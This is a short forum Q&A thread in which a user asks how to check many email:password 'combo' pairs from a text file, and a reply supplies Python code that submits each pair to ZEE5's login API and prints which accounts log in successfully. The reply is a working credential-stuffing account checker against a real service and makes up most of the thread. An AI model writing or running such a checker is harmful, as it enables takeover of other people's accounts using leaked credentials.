+ 3
How can I make it to load and check multiple accounts from any .txt file ? (Text file contains (email:pass) combo)
https://code.sololearn.com/c3bNpkiSrGDV/?ref=app Any refrence guide will work too, thx
1 Odpowiedź
+ 2
Hopefully following code helps!
file=open("login_info.txt","a+")
file.write("xyz@gmail.com:567\nabc@gmail.com:234")
file.seek(0)
for i in file.readlines():
user_details = i.strip().split(":")
email = user_details[0]
password = user_details[1]
results = requests.get(f"https://userapi.zee5.com/v1/user/loginemail?email={email}&password={password}").json()
if not results.get("token"):
print(f" \nZEE5 Account : \nEmail : {email} \nPassword : {password} \nRespone : Invalid Login \n")
else:
print(f"**ZEE5 Account** : \nEmail : {email} \nPassword : {password} \nRespone : Login Sucessful 🇮🇳 \n")